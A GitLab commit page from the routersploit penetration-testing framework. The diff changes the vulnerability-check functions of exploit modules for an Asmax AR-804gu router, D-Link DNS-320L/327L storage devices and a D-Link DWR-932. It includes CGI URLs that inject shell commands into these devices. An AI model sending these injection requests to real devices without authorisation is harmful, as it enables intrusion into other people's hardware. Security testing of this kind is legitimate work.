Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
2ec62d3f
Commit
2ec62d3f
authored
Apr 25, 2016
by
Marcin Bury
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Fixing false positives with expressions.
parent
45e74915
Show whitespace changes
Inline
Side-by-side
Showing
3 changed files
with
19 additions
and
7 deletions
+19
-7
ar_804_gu_rce.py
routersploit/modules/exploits/asmax/ar_804_gu_rce.py
+7
-3
dns_320l_327l_rce.py
routersploit/modules/exploits/dlink/dns_320l_327l_rce.py
+6
-3
dwr_932_info_disclosure.py
...rsploit/modules/exploits/dlink/dwr_932_info_disclosure.py
+6
-1
No files found.
routersploit/modules/exploits/asmax/ar_804_gu_rce.py
View file @
2ec62d3f
import
string
from
routersploit
import
(
from
routersploit
import
(
exploits
,
exploits
,
print_success
,
print_success
,
...
@@ -62,15 +64,17 @@ class Exploit(exploits.Exploit):
...
@@ -62,15 +64,17 @@ class Exploit(exploits.Exploit):
@mute
@mute
def
check
(
self
):
def
check
(
self
):
mark
=
random_text
(
32
)
number
=
int
(
random_text
(
6
,
alph
=
string
.
digits
))
cmd
=
"echo {}"
.
format
(
mark
)
solution
=
number
-
1
cmd
=
"echo $(({}-1))"
.
format
(
number
)
url
=
sanitize_url
(
"{}:{}/cgi-bin/script?system
%20
{}"
.
format
(
self
.
target
,
self
.
port
,
cmd
))
url
=
sanitize_url
(
"{}:{}/cgi-bin/script?system
%20
{}"
.
format
(
self
.
target
,
self
.
port
,
cmd
))
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
if
response
is
None
:
return
False
# target is not vulnerable
return
False
# target is not vulnerable
if
response
.
status_code
==
200
and
mark
in
response
.
text
:
if
response
.
status_code
==
200
and
str
(
solution
)
in
response
.
text
:
return
True
# target is vulnerable
return
True
# target is vulnerable
return
False
# target is not vulnerable
return
False
# target is not vulnerable
routersploit/modules/exploits/dlink/dns_320l_327l_rce.py
View file @
2ec62d3f
import
re
import
re
import
string
from
routersploit
import
(
from
routersploit
import
(
exploits
,
exploits
,
...
@@ -72,15 +73,17 @@ class Exploit(exploits.Exploit):
...
@@ -72,15 +73,17 @@ class Exploit(exploits.Exploit):
@mute
@mute
def
check
(
self
):
def
check
(
self
):
mark
=
random_text
(
32
)
number
=
int
(
random_text
(
6
,
alph
=
string
.
digits
))
cmd
=
"echo {}"
.
format
(
mark
)
solution
=
number
-
1
cmd
=
"echo $(({}-1))"
.
format
(
number
)
url
=
sanitize_url
(
"{}:{}/cgi-bin/gdrive.cgi?cmd=4&f_gaccount=;{};echo ffffffffffffffff;"
.
format
(
self
.
target
,
self
.
port
,
cmd
))
url
=
sanitize_url
(
"{}:{}/cgi-bin/gdrive.cgi?cmd=4&f_gaccount=;{};echo ffffffffffffffff;"
.
format
(
self
.
target
,
self
.
port
,
cmd
))
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
if
response
is
None
:
return
False
# target is not vulnerable
return
False
# target is not vulnerable
if
response
.
status_code
==
200
and
mark
in
response
.
text
:
if
response
.
status_code
==
200
and
str
(
solution
)
in
response
.
text
:
return
True
# target is vulnerable
return
True
# target is vulnerable
return
False
# target is not vulnerable
return
False
# target is not vulnerable
routersploit/modules/exploits/dlink/dwr_932_info_disclosure.py
View file @
2ec62d3f
...
@@ -68,7 +68,12 @@ class Exploit(exploits.Exploit):
...
@@ -68,7 +68,12 @@ class Exploit(exploits.Exploit):
if
response
is
None
:
if
response
is
None
:
return
False
# target is not vulnerable
return
False
# target is not vulnerable
if
response
.
status_code
==
200
and
'wifi_AP1_ssid'
in
response
.
text
:
if
response
.
status_code
==
200
:
try
:
data
=
json
.
loads
(
response
.
text
)
if
len
(
data
):
return
True
# target is vulnerable
return
True
# target is vulnerable
except
ValueError
:
return
False
# target is not vulnerable
return
False
# target is not vulnerable
return
False
# target is not vulnerable
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment